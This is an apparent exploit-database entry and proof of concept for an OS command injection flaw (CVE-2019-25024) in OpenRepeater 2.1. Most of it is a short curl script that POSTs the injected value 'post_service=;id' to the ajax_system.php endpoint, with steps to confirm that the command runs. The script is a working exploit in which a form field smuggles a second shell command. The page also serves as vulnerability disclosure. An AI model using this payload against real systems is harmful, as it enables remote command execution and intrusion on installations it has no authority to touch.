OpenRepeater 2.1 - OS Command Injection

Author: CodeSecLab
type: webapps
platform: php
port: 
date_added: 2025-12-03 
date_updated: 2025-12-03 
verified: 0 
codes: CVE-2019-25024 
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: OpenRepeater  2.1 - OS Command Injection
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/OpenRepeater/openrepeater
# Software Link: https://github.com/OpenRepeater/openrepeater
# Version: 2.1
# Tested on: Ubuntu
# CVE : CVE-2019-25024


Proof Of Concept
# PoC for OS Command Injection in OpenRepeater before version 2.2

# The target URL for the vulnerable endpoint
TARGET_URL="http://openrepeater/functions/ajax_system.php"

# The payload to execute an arbitrary command, e.g., 'id' to demonstrate the vulnerability
PAYLOAD="post_service=;id"

# Sending the payload using curl
curl -X POST -d "$PAYLOAD" "$TARGET_URL"


Steps to Reproduce:
1. Send the POST request.
2. Observe the result and injected command (e.g., uid=...) will appear.